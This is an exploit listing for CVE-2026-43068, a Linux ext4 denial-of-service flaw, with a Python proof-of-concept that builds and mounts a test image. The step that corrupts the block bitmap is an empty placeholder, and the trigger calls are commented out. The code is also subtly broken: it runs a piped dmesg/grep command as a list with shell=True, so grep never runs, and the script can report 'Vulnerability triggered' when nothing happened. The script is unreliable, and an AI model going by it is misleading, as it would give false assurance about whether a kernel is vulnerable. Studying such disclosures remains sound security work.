CVE-2026-43068 Linux内核ext4文件系统拒绝服务漏洞

import os import subprocess import time # Conceptual PoC for CVE-2026-43068 # This script demonstrates how to trigger the ext4 allocation issue on a corrupted filesystem. # Requires root privileges and a test environment. def setup_test_image(): # Create a small ext4 image for testing img_file = "test_ext4.img" print(f"[*] Creating test image: {img_file}") subprocess.run(["dd", "if=/dev/zero", f"of={img_file}", "bs=1M", "count=50", "status=none"]) subprocess.run(["mkfs.ext4", "-F", img_file], stdout=subprocess.DEVNULL) return img_file def simulate_corruption(img_file): # Use debugfs to manipulate the block bitmap, simulating the corruption condition # This step aims to trigger the EXT4_MB_GRP_BBITMAP_CORRUPT state print(f"[*] Simulating block bitmap corruption on {img_file}...") # Note: Actual corruption commands depend on specific block group layouts # This is a placeholder for the logic that triggers the vulnerability pass def trigger_allocation_failure(img_file, mount_point): # Mount the image os.makedirs(mount_point, exist_ok=True) print(f"[*] Mounting image to {mount_point}") subprocess.run(["mount", "-o", "loop", img_file, mount_point], check=True) try: # Attempt to write data to trigger ext4_mb_find_by_goal # If the group is corrupted, this should log the error test_file = os.path.join(mount_point, "poc_test.dat") print(f"[*] Writing data to trigger allocation...") with open(test_file, "wb") as f: f.write(os.urandom(1024 * 1024 * 5)) # Check dmesg for the specific error message time.sleep(1) result = subprocess.run(["dmesg", "|", "grep", "Data will be lost"], shell=True) if result.returncode == 0: print("[+] Vulnerability triggered: 'Data will be lost' found in logs.") else: print("[-] Vulnerability not triggered or logs cleared.") except Exception as e: print(f"[!] An error occurred: {e}") finally: subprocess.run(["umount", mount_point]) print("[*] Cleanup complete.") if __name__ == "__main__": MOUNT_POINT = "/mnt/cve_test" img = setup_test_image() # simulate_corruption(img) # Requires specific implementation to corrupt bitmap # trigger_allocation_failure(img, MOUNT_POINT) print("[!] PoC structure generated. Manual bitmap corruption required to fully reproduce.")